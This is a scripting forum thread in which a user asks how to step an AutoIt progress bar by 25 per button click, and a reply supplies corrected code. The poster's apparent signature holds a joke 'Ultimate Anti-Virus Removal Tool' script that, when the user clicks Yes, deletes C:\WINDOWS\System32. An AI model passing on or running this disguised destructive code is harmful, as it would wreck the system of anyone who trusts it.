Sign in to follow this  
Followers 0
Firefoxy

Progress bar help

3 posts in this topic

#include <GUIConstants.au3>

#Region ### START Koda GUI section ### Form=
$Form2 = GUICreate("Form2", 623, 417, 303, 219)
$Progress1 = GUICtrlCreateProgress(8, 320, 601, 73)
$One = GUICtrlCreateButton("One", 8, 8, 289, 129, 0)
$Two = GUICtrlCreateButton("Two", 8, 144, 289, 129, 0)
$Three = GUICtrlCreateButton("Three", 312, 8, 289, 129, 0)
$Four = GUICtrlCreateButton("Four", 312, 144, 289, 129, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
;

$Progress1 = 0 To 100

;
While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $One
            $progress =  + 25
        Case $Two
            $progress =  + 25
        Case $Three
            $progress =  + 25
        Case $Four
            $progress =  + 25
    EndSwitch
WEnd

I'm trying to make a progress bar that works something like this. How would I make a progress bar that starts at 0 and goes to 100 at steps of 25 which are added each time something happens. In this case a button is pressed. Is this possible? If so how?


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites



Hi,

#include <GUIConstants.au3>

Global $Progress

#Region ### START Koda GUI section ### Form=
$Form2 = GUICreate("Form2", 623, 417, 303, 219)
$Progress1 = GUICtrlCreateProgress(8, 320, 601, 73)
$One = GUICtrlCreateButton("One", 8, 8, 289, 129, 0)
$Two = GUICtrlCreateButton("Two", 8, 144, 289, 129, 0)
$Three = GUICtrlCreateButton("Three", 312, 8, 289, 129, 0)
$Four = GUICtrlCreateButton("Four", 312, 144, 289, 129, 0)
$Reset = GUICtrlCreateButton("Reset Progress", 260, 288, 93, 20)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $One
            $Progress += 25
        Case $Two
            $Progress += 25
        Case $Three
            $Progress += 25
        Case $Four
            $Progress += 25
        Case $Reset
            $Progress = 0
            GUICtrlSetData($Progress1, $Progress)
        Case Else
            If $Progress <> GUICtrlRead($Progress1) And $Progress <= 100 Then GUICtrlSetData($Progress1, $Progress)
    EndSwitch
WEnd

Cheers

Share this post


Link to post
Share on other sites

That is useful! Thanks

:)


View my blog :) 3dude's blog <= help with project :S

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0